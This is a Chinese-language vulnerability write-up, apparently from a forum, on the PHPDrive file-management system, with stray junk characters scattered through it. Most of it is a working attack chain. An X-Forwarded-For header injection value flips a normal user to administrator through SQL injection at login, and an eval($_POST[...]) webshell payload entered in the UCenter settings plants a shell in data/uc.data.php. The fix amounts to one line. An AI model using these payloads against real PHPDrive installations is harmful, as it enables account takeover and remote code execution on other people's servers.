PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等: q) X0 L2 [- W
% P7 X6 r- }0 s5 Y+ g# m- `
includes/user.lib.php
) T4 P; T9 o0 W" U5 A5 F9 t行870 z7 q4 F2 F) \* U
function get_ip() {
) N# c0 v3 Y$ r if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
& y% V# y; X0 D, }+ w! p; F在用户注册与登录 处module/disk/account.lead.php
3 G- Y! |" a7 O198行 ' |1 J2 Z/ H/ {
//更新本次登录IP和时间0 d6 j$ w& i1 j
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生 a+ _0 a. B- y
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限. }; p7 R' _4 ^, ^2 b5 J7 a
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.& r9 s y u6 h& t8 f
后台getshell:
( ?. W5 i. ?1 d在UCenter设置处,将UC数据库登录名填写为
D3 R2 p: {: E6 c. Z
6 B# \) h/ M Lroot’);eval($_POST[DisKill]);?>/*, R4 Y1 ?5 n0 `! I, U/ e
可以得到一个shell,位置在 data/uc.data.php
5 l6 d+ c$ v- I' ~; ?: R( O, Q4 {" h- G3 A
修复:过滤注入& N$ _9 h5 T: a Y N. p, `
2 H3 }1 ~. m- ^9 E. H |